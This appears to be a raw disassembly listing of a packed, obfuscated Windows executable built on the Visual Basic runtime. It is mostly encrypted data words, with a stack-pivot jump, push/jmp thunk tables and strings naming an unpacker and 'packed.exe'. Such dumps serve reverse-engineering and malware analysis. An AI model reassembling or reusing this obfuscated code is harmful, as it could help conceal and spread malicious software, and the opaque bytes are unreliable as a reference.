		dd 26AB6FBBh, 40CBE955h, 61ED0B77h, 870E2C98h, 99454AB6h
		dd 19BEA0CEh, 2F4250D0h, 0CF982432h, 0D7DDD5D0h, 0F7158152h
		dd 50339F70h, 0FFFECF56h, 43AF8007h, 7FF38DF8h,	1A33CBB4h
		dd 4A1543DCh, 0D019AB24h, 0F86CBFCCh, 959465EAh, 0AB40AE79h
		dd 2330D019h, 2B23D8D0h, 4967D3A4h, 3DF2F1C2h, 4F834DD6h
		dd 1EC6C31Eh, 3C5AC697h, 6270E4B5h, 5F140CDDh, 0A21CDD67h
		dd 0DB66B110h, 0C826F165h, 0A8AF9261h, 2B49489Bh, 7031F4FDh
		dd 730D973Eh, 221D1CEDh, 0C88B84CFh, 0FE940998h, 622E2B06h
		dd 0CB514459h, 0E3DB6454h, 198556DDh, 0A4A374FBh, 39Dh
		dd 3D54A000h, 504CD56h,	0B6B5860Dh, 6A6932BEh, 1F1EE772h
		dd 0D2D1A227h, 858455DAh, 3B3A038Dh, 0EBEABB43h, 9D9C6DF3h
		dd 0E789576Fh, 4C781h, 0EF830000h, 243C8704h, 241C895Ch
		dd 36AA68h, 242C8900h, 5E08950h, 4, 8704E883h, 895C2404h
		dd 9C68243Ch, 8B0608EEh, 0C481242Ch, 4,	4EC81h,	24890000h
		dd 24048324h, 3685F04h,	8900005Bh, 2C81242Ch, 37A1624h
		dd 8478F7Fh, 16084781h,	8B7F037Ah, 8953243Ch, 4C381E3h
		dd 83000000h, 1C8704C3h, 2C8B5C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4F2EAD
; ---------------------------------------------------------------------------
		db 0B0h, 0E3h, 72h
		dd 0D8B81727h, 1546BE1Fh, 8FC54B8h, 0FFC50306h,	244771E0h
		dd 323ED259h, 0FE771879h, 418E0F15h, 3CB2B43Eh,	2423F63Bh
		dd 330C5752h, 0CA77A90Dh, 77F4604Ah, 18F1A812h,	36D4E513h
		dd 304A820Ch, 258D8D3Ch, 6A0608FEh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0DCD7C356h
		dd 0F27F799Eh, 0FBF6BE66h, 20A58D89h, 11E80603h, 20000000h
		dd 0A88CF8EAh, 0EB819151h, 0CCF69BB0h, 9A49C411h, 2AED850Bh
		dd 0C7580603h, 31A6585h, 708406h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0AA1FA414h
		dd 0FE9h, 0D7260500h, 0C23DCB67h, 0D0D137B2h, 3E10365Dh
		dd 18819589h, 85C70603h, 6030071h, 0
		dd 1DBD0160h, 8B060320h, 0B5FF61C1h, 6030DC1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0BCC35545h, 0BE66F0DEh
		dd 0BF0FE932h, 0FFF28BF3h, 3171D95h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 6AE741DCh
		dd 0A595FF00h, 8B060323h, 0E91EEBC0h, 29F84D68h, 0A87D66C2h
		dd 827E8878h, 0C78155CEh, 7D4815FEh, 0FAB15CAAh, 0F93FF519h
		dd 8E8DFh, 0E4140000h, 350607F6h, 95894A5Ch, 6032539h
		dd 399D8B5Fh, 81060330h, 5BFDC7h, 759D8B00h, 68060308h
		dd 16C9h, 3D9B501h, 0E85A0603h,	9, 0D50E4830h, 0DEF66D92h
		dd 0C681668Ah, 0FF5EBF72h, 958D8937h, 58060303h, 759D8B52h
		dd 5B06032Eh, 1E66F081h, 0B58B5AB3h, 60317B9h, 5AEC081h
		dd 0BD890F6Ch, 6031DFDh, 66E5F081h, 0B58B7315h,	6031B11h
		dd 98E0F50h, 0F000000h,	38Eh, 9E38000h,	0DB81078Fh, 13900574h
		dd 0F124EF81h, 0EE95C5Dh, 6F000000h, 2DA69D58h,	8C87FEA9h
		dd 761A8E29h, 20C7819Fh, 665C5DF1h, 815DAFBBh, 1EAh, 12850F00h
		dd 89000000h, 31A29B5h,	15E906h, 82390000h, 943AA8EFh
		dd 62BB664Fh, 0FF69E98Eh, 8011FFFFh, 0E9577A7Ch, 17Dh
		dd 4FFE5D60h, 6FC2016Ch, 0B4CAD1D7h, 5B7E41EFh,	5D9752E4h
		dd 0FCA3FB6Dh, 9EB99244h, 0BCD792A5h, 93B9E495h, 9DB2CB00h
		dd 9CACA3F4h, 9EB9FCh, 0AFC945D2h, 0FC00EE73h, 9CBA9755h
		dd 0A4E56D59h, 0FEACFFB2h, 5657F647h, 0CCD4C4h,	8F7DB5F6h
		dd 539549F7h, 0C9BCFA97h, 915CCD45h, 0ACE56CA1h, 10000h
		dd 43h dup(0)
		dd 36D1F800h, 0C20DA437h, 42723CD3h, 10BBE905h,	87680000h
		dd 0E9060902h, 0FFFB4687h, 903B868h, 467DE906h,	3968FFFBh
		dd 0E9060905h, 0FFFB4673h, 905FF68h, 4669E906h,	5D68FFFBh
		dd 0E9060907h, 0FFFB465Fh, 9085068h, 4655E906h,	1E68FFFBh
		dd 0E9060909h, 0FFFB464Bh, 9099A68h, 4641E906h,	9568FFFBh
		dd 0E906090Ah, 0FFFB4637h, 90B2D68h, 462DE906h,	3268FFFBh
		dd 0E906090Ch, 0FFFB4623h, 90CC968h, 4619E906h,	8068FFFBh
		dd 0E906090Dh, 0FFFB460Fh, 90ED368h, 4605E906h,	0F568FFFBh
		dd 0E906090Fh, 0FFFB45FBh, 27118B9Eh, 6D575DEAh, 0B7A1FF30h
		dd 0F8E2B27Ah, 3D276FBBh, 0C9594356h, 909EDBC5h, 4BE5220Ch
		dd 924614Bh, 3524A58Fh,	8BE5D6F4h, 0BAED04A1h, 0E5884283h
		dd 0BD52A18Bh, 8BE64E7Ch, 0C0DA8CA1h, 0D657B809h, 0BC7106C4h
		dd 6371F0DAh, 0E9C077D4h, 1E38423Dh, 59D3EA21h,	0F2B9863Dh
		dd 0AAAD9794h, 4B7B3AF8h, 78A1918Bh, 8F24E2AAh,	0F710769Fh
		dd 0DFF9E482h, 424E07C5h, 60D4A156h, 21794B74h,	20370A14h
		dd 88D48B0Dh, 4Ch, 1CF15D5h, 0A3CC304h,	5608AD98h, 6D06E398h
		dd 6C81DFFBh, 0CEF8C57Ch, 0F5A19165h, 0E89D5B3Bh, 916623A7h
		dd 2805B7A1h, 46DB9907h, 25F7B5E7h, 964B3705h, 406955C9h
		dd 0A14986Eh, 0ACA3h, 6477E00h,	0A19159C4h, 5CAD6416h
		dd 6C4D657h, 1FDDA171h,	3BF9A38Ah, 0F13287A6h, 0A794E6D9h
		dd 4B354F01h, 94EBB4E4h, 207AB3A7h, 6234F936h, 1412EFA4h
		dd 2C4486F8h, 5DA3883Fh, 183262CCh, 0C089DA1Bh,	0D183AD97h
		dd 541A68E7h, 26092057h, 31E8BA78h, 97412164h, 807D2FA7h
		dd 0D8D5D969h, 732A6CC1h, 0F2BA86C3h, 28ABF96Dh, 0C45FD3E5h
		dd 0E39h, 67514BDEh, 0AD971D2Ah, 0F7E1BF70h, 382272BAh
		dd 7D672FFBh, 89998396h, 50DE1B05h, 0B25624Ch, 0C964A18Bh
		dd 7564E5CFh, 8BE49634h, 6C2D44A1h, 0D9C3CB57h,	1D07919Ch
		dd 1ECF1532h, 94E6EDDDh, 213BEDA7h, 6B10ED24h, 0D344DDC8h
		dd 44BB883Fh, 0D1AD9722h, 0D61864F4h, 6F26F72Bh, 0CF12A0DBh
		dd 0FED1484h, 4E7837F5h, 85A190E6h, 2AFC2511h, 5F0A1518h
		dd 0F9h, 0BF0037ACh, 0A794E70Bh, 0C3661DCFh, 0BE0C4D6Ah
		dd 1CA794E6h, 0DD92506Ah, 0E76565A6h, 75A794h, 9B526C30h
		dd 0A66428F8h, 94EBB1E7h, 0F8B996A7h, 9EFE3000h, 147419FBh
		dd 2973BA5Dh, 0E82B023Fh, 0BF6E2336h, 0EB583ADDh, 253C3953h
		dd 51D58C0Ah, 4283747Ah, 0A794E688h, 0E6E8E223h, 40F2A794h
		dd 0A9A6C072h, 99359572h, 0A81EADA7h, 0CE3F24F1h, 0C19EAD97h
		dd 0BABE9E4Ch, 3991D271h, 0A1A19161h, 8A1ED5EFh, 63A4DBD8h
		dd 0A1916167h, 0FECCC864h, 66E5954Ch, 14555218h, 0A7971360h
		dd 0F2BA889Fh, 17AB6234h, 0C1516865h, 8A96D3BDh, 821F7D02h
		dd 65D9E528h, 0D08CAh, 801A0F00h, 0C4CA5996h, 4929DDAh
		dd 4551DD1Ah, 8A121E5Bh, 0BCE0B9A0h, 13E286Ch, 44816B33h
		dd 83C0AAEAh, 8506F0AAh, 0E3755596h, 4E65A18Bh,	3ACB578Dh
		dd 40173FA5h, 37213BF6h, 7F6933FAh, 0C4D65794h,	0F03A5106h
		dd 5D14E6A4h, 3F2973BAh, 0AFACB2C0h, 9804E16Eh,	9E8E03ADh
		dd 546E40FEh, 0C9EFD796h, 70E4A191h, 33895B84h,	73BE0A14h
		dd 0B000000h, 401CF15h,	980780C3h, 0DC9A4CADh, 811F1027h
		dd 465968C3h, 1F2524CBh, 45814E05h, 8EA191ADh, 33052E1Ah
		dd 680A144Dh, 46h, 0D2032C43h, 6B223C58h, 1CF151Ah, 234C304h
		dd 9AD1AD98h, 0CBA82263h, 8032A191h, 91CC5179h,	20D789A1h
		dd 671CDA8Ch, 88DC168Ah, 0DE6AEC32h, 3805BCD6h,	0A191E58Eh
		dd 0BCE5D145h, 0A1417EAh, 141Fh, 20376C00h, 5293900Ch
		dd 0A794E678h, 50F9B062h, 901h,	1ECF1557h, 94E6EDDDh, 213BEDA7h
		dd 0E783E324h, 0FA8FAD9Dh, 8BE611B9h, 0FD17C9A1h, 5244E900h
		dd 6CC1D89Bh, 72E95A1h,	18326137h, 0E734041Bh, 0ED7E500Ch
		dd 10CEE897h, 9AD7873Eh, 744B0993h, 8663606Eh, 67BFEC4Dh
		dd 36AAD9BEh, 3CF902A5h, 437A3DF4h, 0DE95032Ch,	9494E411h
		dd 55D74CA7h, 9FB98B49h, 35A28BA2h, 6FBE9BFBh, 0EC29132Dh
		dd 0C2995741h, 70B1AEBCh, 0A185A0C7h, 0BAB63BEDh, 8FB34E3h
		dd 0B87F994h, 99900000h, 4BD815FFh, 0D1E5B45h, 0C468A58Fh
		dd 61B1EED8h, 4D4C331Dh, 0D1BBC34Fh, 14FE8694h,	5F4955D7h
		dd 0A7910B22h, 0D4F63726h, 6A18BE1h, 992D2EEFh,	0E8A794E7h
		dd 96804B9Ah, 0EC8CF1F2h, 0C294D5D2h, 1AD9D45h,	87935EEAh
		dd 9A2EE5FFh, 738D0925h, 0F6C40A89h, 46A6B8F9h,	0AA5CA794h
		dd 59796ADh, 4D4FDE1Bh,	0A9F53950h, 49976EF2h, 0A06F8683h
		dd 6B850917h, 4DB0F1B4h, 0F3A18B47h, 2D4441h, 4F37DD0Dh
		dd 822CD27h, 71E4C11Eh,	0C485E330h, 726C980h, 0B018D795h
		dd 0D515790Dh, 83C4C18Fh, 1B7C2EDCh, 4981C2F9h,	620F75EEh
		dd 75EDA921h, 0B17F310Fh, 2B448FFh, 3F43F37Dh, 0B651C571h
		dd 0AC1h, 0DFC9D356h, 250F95A2h, 6F5947E8h, 0B09AFA32h
		dd 0F5DFA773h, 1110B0Eh, 0C856937Dh, 939DDAC4h,	51DC1903h
		dd 0EDDC5D47h, 8BE21EACh, 0E4A5BCA1h, 401CF15h,	9DE693C3h
		dd 171930ADh, 13CD087h,	0D5AB1039h, 1EACEDF6h, 0BCA18CDCh
		dd 0B2F3F00Ah, 0A18CDC18h, 0F9F610C2h, 0A4874AE2h, 4C6638F6h
		dd 4205BC8Eh, 0AE98022Bh, 3251BC71h, 0CDFCA4F9h, 481FDDF7h
		dd 0F637343Ah, 0A795046Ch, 0D3F7386Fh, 79B8304h, 0E6B67855h
		dd 0B9F5628h, 0E8455C59h, 0A687C4AEh, 115F36F4h, 0E0174E4Bh
		dd 83052B9Fh, 0EE3AAF9Bh, 0FC16E8A6h, 4AD7845h,	9DB4A18Ch
		dd 7A227A93h, 60796594h, 49FB8F46h, 0BC38154Ch,	3793D4C2h
		dd 0A3957A10h, 0C39E4EF1h, 0EE3FE299h, 0A885C2ACh, 7F991D2Bh
		dd 0EC402C1h, 0B7BD957Ah, 0AF6BACA9h, 9C9B830Eh, 1682DEBFh
		dd 0F7C98715h, 6F7E7454h, 757224B8h, 0D0CDCF5Eh, 53725899h
		dd 0C7938F71h, 3D8B3948h, 4F06B886h, 0D1CB629Fh, 28363C13h
		dd 9474EA2Bh, 198E957Ah, 4586830Bh, 89689485h, 0CB89A355h
		dd 0BCFDEEF4h, 8968950Eh, 3001ACCh, 9B5242ECh, 296AA1D8h
		dd 896894A1h, 9501C90Ah, 27D98968h, 23F0A759h, 8F6BA358h
		dd 91AD32E4h, 0EBCD0EDBh, 963DC77h, 7DB40000h, 27F4311Bh
		dd 0F13A7761h, 0B07CB9A3h, 6DBDFAE4h, 41583F29h, 0DDC7CF5Bh
		dd 200A92A0h, 634D49E3h, 0AB950726h, 0D0FA3B2Ah, 0AA18BDFh
		dd 203732F3h, 33D68D13h, 4551DDFAh, 81B86D2Bh, 94E68A40h
		dd 0E79E50A7h, 0B2AFE944h, 4E05919Bh, 94AB48CAh, 0A545FC98h
		dd 0AAEC41B9h, 1700D2C0h, 17350411h, 10000000h,	0F8278633h
		dd 7D346D39h, 1220372Ch, 43FACC8Ah, 5219Ah, 0C371A100h
		dd 0FFFCC210h, 9802A9BEh, 95D66BADh, 0A191CB35h, 0CED9F3A5h
		dd 9D9C73A9h, 0E3B4BA74h, 38354F57h, 891E40F7h,	0FD2E45D4h
		dd 0D54F7BBCh, 0D98BC882h, 8C2F01BFh, 1995EE23h, 0C95D1489h
		dd 7C825917h, 0EE30716Eh, 65CE88C5h, 1A82A888h,	85C6C1AEh
		dd 0C27B1145h, 12C9E395h, 0B8CFCC7Eh, 0F262375h, 0EBBD7B03h
		dd 0E6478434h, 6C192FB4h, 0EF630C38h, 87054h, 1882A700h
		dd 5C22F12Eh, 9CFA3572h, 0DDB975B2h, 226AB6F3h,	54485138h
		dd 99D6C0C4h, 0DC19038Bh, 1B584252h, 1D9E8812h,	0DEDDED2Eh
		dd 0E6FDA18Bh, 1D65725h, 0E0B2702Eh, 0A77308C6h, 6876F5DFh
		dd 0F72E6562h, 94E714B6h, 5D14C6A7h, 9DE69C90h
		dd 535002ADh, 0C38E76h,	873E2E43h, 1680ADC4h, 7FCBE219h
		dd 0A0A77937h, 0A18CA42Ah, 9747FEB0h, 8A08233Ah, 12FD30D3h
		dd 0DCC85456h, 0FFBDD746h, 0F8D2134Ah, 0E2A18C8Bh, 4E947930h
		dd 7AAD08F7h, 0DA52C21Ah, 102AFCBAh, 0AAB8F9F6h, 60A79510h
		dd 437AB1AEh, 8311C802h, 0CB363D9Bh, 0B215B7A8h, 0DDA16FE4h
		dd 7C334D1Fh, 584254D9h, 0CA88121Bh, 1CA1E535h,	0E5309074h
		dd 0A237D246h, 75000007h, 0B3F0DABCh, 0F7341E64h, 3F7C6634h
		dd 88C5AFEFh, 230AF4B8h, 921A2676h, 0D9DD6BA8h,	1C78B2EFh
		dd 5E38F532h, 0C304F374h, 0A18BDE07h, 37FBBCD3h, 4C7CDA5Ah
		dd 0EC5ADCAh, 1815DB29h, 0B56C3201h, 24B1B1F2h,	0A759AD9Dh
		dd 0D05C73AAh, 34AF21C4h, 8BFC9021h, 9AFC31D4h,	0F03C53B0h
		dd 5D14E6A4h, 6B2973BAh, 83804E94h, 8EF7D142h, 64E99BA7h
		dd 0E52D8EB2h, 26751084h, 0F1000007h, 37745E38h, 7BB8A2E8h
		dd 0BBF8E2B0h, 0FC392373h, 977E682Ch, 68E9A82h,	4D51DF1Ch
		dd 98042663h, 0DABC71AEh, 3F806FF0h, 0A18BDD8Bh, 5777384Fh
		dd 90C7C4D6h, 94E67B4Fh, 0D0AD5FA7h, 0FF833A42h, 2C50C36Ah
		dd 67B59E0Dh, 43D896B0h, 58EDABEBh, 733906D7h, 0BC9E3B5h
		dd 0C4796533h, 1C9480FAh, 738A8711h, 8C21DFA7h,	23DAF4A0h
		dd 8EB38573h, 7E80411h,	35000000h, 2E151h, 0D6575800h
		dd 63B0C7C4h, 63CA5F1Dh, 0E1221F39h, 0A794E6E9h, 4883FF1h
		dd 1C19272Dh, 9DE787DBh, 0E7D183ADh, 5B1983AAh,	48327AC6h
		dd 0AF130EEBh, 0C576CA85h, 15DB290Eh, 5B6AD718h, 0AC5EA794h
		dd 39598AFh, 6451DC19h,	825CA723h, 6781339Bh, 0BAD8536Ah
		dd 5EEA7F03h, 5C983273h, 90429B82h, 93E1B876h, 0C08FD0CDh
		dd 0F5A1858Bh, 974E4EDEh, 0C8CC5103h, 0E2FB3401h, 62BD36Eh
		dd 45EC0000h, 1F2C6953h, 0B972AF99h, 78B4F1DBh,	25F5321Ch
		dd 89907761h, 15FF8793h, 58424AD8h, 9B85111Bh, 0E3CDCF5Eh
		dd 98327362h, 42A18BDCh, 0D6576A2Bh, 7FEAC7C4h,	0B0F6F18Ah
		dd 21FDCD0Eh, 2BDDA794h, 0C6F76E11h, 0E29FE769h, 0BBF2A72Bh
		dd 9433507Ah, 21D88AA7h, 2FEDAF7Eh, 0CF4733ADh,	0B218595Eh
		dd 53A79432h, 924BD2D9h, 0DBF8D38h, 491B09F3h, 7E041160h
		dd 7, 18451CBh,	57580000h, 2AA0E1D6h, 0B0A794E7h, 0B15FE4FEh
		dd 6BE921B9h, 5935CF7h,	0AD840000h, 77C401EBh, 210A4731h
		dd 0E04C8973h, 0BD8DCAB4h, 71280FF9h, 0AD971F2Bh, 0F0DAA270h
		dd 331D79B3h, 7B6537F6h, 0CA0BFAh, 0DAA18BDCh, 5A3702C3h
		dd 5AEAC678h, 0FB9E554Fh, 0F5AA6832h, 834D7DBEh, 0DB8DA794h
		dd 0EAAC8124h, 5575B6EDh, 85A79483h, 16981CD3h,	0F538B09Ch
		dd 455CB9A3h, 59EEACEAh, 3507C5C9h, 0AEEE3E1Bh,	13671EF0h
		dd 4117741h, 1E76h, 2037C300h, 3862CB0Eh, 0D08EA87Ah, 8C1221FEh
		dd 9C45FCCEh, 0DEh, 0D851A3h, 15580000h, 205B78CFh, 0F2A14CDh
		dd 2880B66Ch, 0EA048009h, 53B6ACEDh, 4825AD9Dh,	457C770Ah
		dd 38E7B779h, 0F5423FE2h, 5DF2863Dh, 0F5B3F946h, 0DCAE1C23h
		dd 121DA18Bh, 26F4C684h, 0E79C5A74h, 0DD5B6FB0h, 0CD7FA18Bh
		dd 1D233116h, 75390920h, 6B2EE5B7h, 86101D34h, 209EAEE3h
		dd 10C7D9CCh, 8E076C43h, 18638A7h, 0E52D4431h, 8EF48F03h
		dd 89000004h, 0CF0CF6A0h, 13503A40h, 53907A18h,	94D1BBDBh
		dd 2F160084h, 9EE6326Ah, 0E5A977B4h, 306CBEFBh,	72240946h
		dd 0D7180788h, 0A18BDAF3h, 150FD0E7h, 0C30401CFh, 0AD98346Ch
		dd 72898638h, 890F1CA5h, 0DEF5B86Fh, 0FE654F4Dh, 0A19199C9h
		dd 0C384FFDCh, 14E619F6h, 0EDA4F637h, 0CFB9E34Ah, 3DFB9992h
		dd 428A2h, 0CF15A900h, 9FC30401h, 6BAD9DE7h, 0A76537F6h
		dd 26FDBBD5h, 0DCEE2FD8h, 0FEA18BE5h, 0F435324Ch, 0A78EF4BBh
		dd 0C8B237E9h, 0AAE52DA9h, 3F79B36h, 9200000h, 0DB68A58Fh
		dd 7DAEEBD5h, 34F8351Fh, 0F1417E68h, 3DDCC3ADh,	614B53DFh
		dd 0A48E1624h, 0EFD9C567h, 37217BB2h, 4486C7B6h, 96A18BDBh
		dd 37BE7Fh, 94E70BBFh, 2B6DC0A7h, 1BCD9B6Dh, 88717F64h
		dd 94E68347h, 0E3E728A7h, 0F7A794E6h, 0ABC57745h, 0E7F96DAEh
		dd 6719AD9Dh, 0C0DA536Ah, 0C96279D6h, 843B0DCBh, 8AC14CE1h
		dd 23BBFC16h, 1D45222Dh, 16EB1B7Ah, 19673EFCh, 0E0155653h
		dd 50A793E6h, 536AA19Eh, 7CBDBAD8h, 9B81E94Eh, 8023DA8Ch
		dd 0C401EBADh, 0BC712F69h, 4F0D89A5h, 93E1C67Dh, 0A88FD0CDh
		dd 0CA184F2h, 0BEF9D55Ah, 4FC3FB37h, 340B4h, 4852D700h
		dd 8C12215Eh, 0CCCA65A2h, 0D89A5E2h, 525AE623h,	84988168h
		dd 0C906F0B4h, 0C49337Bh, 4B887222h, 4DCEB8E2h,	0D9AD1D5Eh
		dd 162DA18Bh, 0BF003755h, 0A794E70Bh, 0EE401DCFh, 671EF0AEh
		dd 712F69C4h, 73BE51DCh, 688E502h, 132D73C0h, 9BB20FF9h
		dd 9449078Fh, 94CB7753h, 97B163A7h, 0E7F5FBE0h,	8E9CB3EAh
		dd 0BF764806h, 97D0B9F2h, 3431E3ADh, 0FEDD8C57h, 681FA824h
		dd 29A125E4h, 0BE32A191h, 0CFD7A9D2h, 470C0A14h, 59000000h
		dd 8B0D2037h, 5F44FBCDh, 0D4E4B11h, 0AD9809F2h,	6CA3A052h
		dd 91C39F2Bh, 0D2893BA1h, 0C4378F4Eh, 0A18CA191h, 0E3A1E734h
		dd 0A439F711h, 0D34F0D8Bh, 0DFAC614Dh, 0D0E77F6Bh, 32863D43h
		dd 0A143A60h, 0E195h, 0D657E200h, 0E72AA0E1h, 0FEB0A794h
		dd 5A7126E4h, 4426C9D3h, 662B6CEh, 3703A65Dh, 111CB16Fh
		dd 0F934C987h, 4A4EB59Fh, 1DA794D0h, 52898610h,	94C6B911h
		dd 0B86F21A7h, 3862CB08h, 8F5DA37Ah, 0CDAE5192h, 0E496AD97h
		dd 67757BFAh, 74C3296Ah, 0A95BA797h, 788595ACh,	0DE6737F5h
		dd 0C2BFD925h, 0AC804A8Bh, 0A85A9B8Ch, 2D69BB05h, 0E2994D9Eh
		dd 6125F532h, 29DB06DCh, 0B14CC0E5h, 1EDh, 0AB95072Ah
		dd 0F1DBA16Eh, 331D7BB4h, 7C6636F6h, 0C1ABF33Fh, 4DDD3FDAh
		dd 14225F49h, 0C769A690h, 7DB0EDD7h, 0C1B0311Bh, 8BD94A80h
		dd 0B87990A1h, 2F00CB57h, 0A958B371h, 4F5E1B91h, 0C8623F59h
		dd 0D8B5B2CCh, 0F7F86786h, 8B3BF259h, 14B6F72Eh, 0C6A79479h
		dd 0D9F3678Bh, 0F10B6F10h, 496973Ah, 0CF152F1Ah, 94AEEE3Eh
		dd 9A95697h, 0E99BAD98h, 0C35A6C2Bh, 579A191h, 3B1EF019h
		dd 0A5DC0A14h, 0D0E35EC8h, 0B6BD7FC2h, 0A1915314h, 0B49E42F1h
		dd 0E7B512BAh, 0C5327E35h, 7F000000h, 8E0E2037h, 0A447FED0h
		dd 0DB120F89h, 94E7309Ah, 41F8AAA7h, 941828BDh,	0EB8117D6h
		dd 0AFC6A794h, 8D5F1D61h, 0BDFA33D6h, 94E24E7Ch, 0C0DA8CA7h
		dd 29499D6h, 59676D44h,	0E6E4255Ch, 0F4A794E1h,	0DFAE6DB9h
		dd 3D57475Ch, 7D82C386h, 0C7AD9792h, 2F011815h,	28DFB16Fh
		dd 0E5EBF978h, 36E6A7E8h, 6E4BA797h, 925F85EDh,	3262CA6Bh
		dd 0D188A274h, 778E8B3Dh, 0BCF9E3ABh, 3FA3286Ch, 7DE52839h
		dd 0CB6E09h, 0E54C0000h, 0BF8CC9B3h, 59D20FF9h,	1814513Bh
		dd 0C555927Ch, 29F0D7C1h, 755F27F3h, 0B8A2EA38h, 0FBE5B17Bh
		dd 432D6FBEh, 3892D3C2h, 0A2A18BD8h, 0CB57CA8Bh, 919CD9C3h
		dd 38F30A07h, 8F3A35Ah,	6C4D657h, 0F0DABC71h, 605D6371h
		dd 9DE74F1Fh, 6321D3ADh, 533D5FCEh, 0C7851716h,	0D7497B08h
		dd 3074C2A4h, 4551DD72h, 99850B87h, 0AE9A20E4h,	0A8A5F736h
		dd 0D91A8191h, 9E4081F1h, 5F1D37E9h, 0E926D68Dh, 78555244h
		dd 3996C624h, 0F97D34D8h, 0E643C864h, 33755854h, 7C595670h
		dd 2FB5B043h, 0EF732A5Eh, 0BA869DA0h, 0AB6234F2h
		dd 86A71F0Bh, 40ED2A14h, 0F5425956h, 421FF1AFh,	74F8AFF5h
		dd 8D9h, 2037E000h, 55DA910Fh, 0C8D25714h, 0DEB8750Ah
		dd 0F5A18B20h, 1094A237h, 296DBD52h, 424AD66Bh,	5F3FEF84h
		dd 75230CA1h, 8F1522B7h, 89514DD1h, 4C181E1h, 83000000h
		dd 0C8704E9h, 14895C24h, 48E6824h, 3C890000h, 0E1895124h
		dd 4C181h, 0E9830000h, 240C8704h, 2404895Ch, 47BE5651h
		dd 89060901h, 0CF895EF1h, 48B5459h, 4C48324h, 4C0F68h
		dd 24348900h, 7089FE89h, 48B5E08h, 0E6895624h, 4C681h
		dd 0C6830000h, 24348704h, 243C8B5Ch, 81E28952h,	4C2h, 4C28100h
		dd 87000000h, 0E95C2414h, 0FFFB35DFh, 0FDAF4CDEh, 0CE722809h
		dd 10E5B8C5h, 0C5030609h, 7D70E0FFh, 0D25B7AEFh, 43297775h
		dd 11E8660Ah, 23000000h, 269493h, 99B7B328h, 15F8D9BAh
		dd 7D75CEE2h, 0BF3FBB66h, 81F7B75Fh, 7361C7h, 0BB665100h
		dd 6858FCFCh, 0
		dd 5EC78B66h, 9627B866h, 0E93E34FFh, 5,	5DB57F32h, 0F98A5A89h
		dd 0D94AC281h, 816678DFh, 814068C1h, 1C314C2h, 0A0BB564Ch
		dd 597C1B12h, 0B84DEA81h, 66526396h, 8FC9BCB8h,	8F0F3704h
		dd 0
		dd 831CC380h, 4EF802EEh, 81C3B04Eh, 0FF8D20FEh,	0AD850FFFh
		dd 0FCFFFFFFh, 12CA8D8Dh, 6A0609h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 17EFF7C3h, 0A48B17B0h
		dd 6ABA5360h, 585EBE32h, 0A58D8961h, 6A060320h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0F330C355h, 85C73B34h, 6031A65h, 7484h, 2199BD89h, 958B0603h
		dd 6030081h, 7185C7h, 603h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 7F973DC3h
		dd 0B3EFB340h, 3D9B589h, 0B5FF0603h, 6030DC1h, 1659BD8Bh
		dd 0B58B0603h, 6032CC1h, 171D95FFh, 68B00603h, 95FF006Ah
		dd 60323A5h, 1EEBC08Bh,	6B2CAE4Fh, 0C9C9A2AFh, 5711D1A6h
		dd 810AB51Ah, 32E9CEAEh, 0BE2B047Eh, 0E165B8BAh, 12E8584Ch
		dd 3000000h, 693E3906h,	969B90F0h, 55E7EAE9h, 39AD6CF0h
		dd 6850F0Bh, 8B000000h,	30781B5h, 8D8B5A06h, 6032199h
		dd 5B34C281h, 800F0000h, 6, 17D5BD29h, 97BB0603h, 66000016h
		dd 0FF3059B9h, 51E18132h, 5F6BF0EEh, 81C3B70Fh,	0BE4F3FC7h
		dd 0F781F500h, 0F780791h, 0C0C88166h, 7F781C5h,	0F38DF4Bh
		dd 684h, 3D858900h, 57060303h, 0E2D88166h, 66028FCEh, 81D40FBEh
		dd 2F733BEAh, 0D1850B71h, 8106031Ch, 2F7337C2h,	0EE871h
		dd 532F0000h, 2D9EE84Bh, 0A331B11h, 4081643Fh, 4B59F18Bh
		dd 15850Fh, 9510000h, 307F58Dh,	24E95906h, 25000000h, 88234311h
		dd 81DD6DA3h, 0E9E36AD9h, 0FF75E96Fh, 8538FFFFh, 0A273AC3Dh
		dd 0E85DBA25h, 6D794C30h, 0E96EF24Bh, 15Ch, 77E705C5h
		dd 6D5C3A43h, 706E755Fh, 656B6361h, 61700072h, 64656B63h
		dd 6578652Eh, 3Bh dup(0)
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		dd 57102Bh, 1B60E9h, 17626800h,	0E2E90609h, 68FFFA68h
		dd 6091852h, 0FA68D8E9h, 193D68FFh, 0CEE90609h,	68FFFA68h
		dd 6091A0Eh, 0FA68C4E9h, 1A5968FFh, 0BAE90609h,	68FFFA68h
		dd 6091B4Dh, 0FA68B0E9h, 1BA068FFh, 0A6E90609h,	68FFFA68h
		dd 6091BE7h, 0FA689CE9h, 229968FFh, 92E90609h, 68FFFA68h
		dd 6092345h, 0FA6888E9h, 23EF68FFh, 7EE90609h, 68FFFA68h
		dd 60924B8h, 0FA6874E9h, 252D68FFh, 6AE90609h, 68FFFA68h
		dd 609262Ah, 0FA6860E9h, 26F768FFh, 56E90609h, 68FFFA68h
		dd 60927C6h, 0FA684CE9h, 2DC468FFh, 42E90609h, 68FFFA68h
		dd 6092ECDh, 0FA6838E9h, 2F4B68FFh, 2EE90609h, 48FFFA68h
		dd 6C8AF6BFh, 8BA915E6h, 0A8C63203h, 0CBE9551Eh, 4A097546h
		dd 0E4B53AFEh, 6CF5A78h, 27F07C9Ah, 45169DBBh, 5D28D4D9h
		dd 0D0185017h, 56BED1DFh, 0AE7701CFh, 0EAB5E75Bh, 0D6114584h
		dd 0B2675F6Ch, 31028896h, 0E92766E6h, 21195F12h, 57C3941Bh
